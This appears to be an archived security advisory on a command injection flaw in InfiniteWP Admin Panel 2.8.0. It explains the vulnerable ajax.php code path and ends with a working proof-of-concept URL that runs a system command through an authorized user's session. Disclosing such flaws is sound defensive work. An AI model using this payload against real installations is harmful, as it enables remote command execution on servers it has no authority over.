what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection
Posted Sep 10, 2016
Authored by Securify B.V., Sipke Mellema

WordPress InfiniteWP Admin Panel version 2.8.0 suffers from a command injection vulnerability.

tags | exploit
SHA-256 | 9a2f56e0d388524d1d706460eeac6bad439c42e829699ec509f6b08b7ba95106

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

Change Mirror Download
------------------------------------------------------------------------
Command injection in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0006

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html

The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:

$result = panelRequestManager::handler($_REQUEST);

In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.

The code will follow on with converting user input to multiple variables.

$actionResult = $data = array();
$action = $requestData['action'];
$siteIDs = $requestData['args']['siteIDs'];
$params = $requestData['args']['params'];
$extras = $requestData['args']['extras'];
$requiredData = $requestData['requiredData'];

Later on in the code, the method requiredData is called with user data as an argument.

$data = self::requiredData($requiredData);

The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.

foreach($requiredData as $action => $args){
$data[$action] = self::evaluateMethod($action, $args);

The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$addonFunctions. If it is, the action will get executed.

public static function evaluateMethod($action, $args){
if(method_exists('panelRequestManager', $action)){
if($action == 'getSitesUpdates'){
return self::$action($GLOBALS['userID']);
}else{
return self::$action($args);
}
eif(in_array($action, self::$addonFunctions) && function_exists($action)){
return call_user_func($action, $args);

By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.

public static function addFunctions(){
$args = func_get_args();
self::$addonFunctions = array_merge(self::$addonFunctions, $args);
}

The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept

Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami

It should now look something like:

{"actionResult":[],"data":{"addFunctions":null,"system":"www-data"}...


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close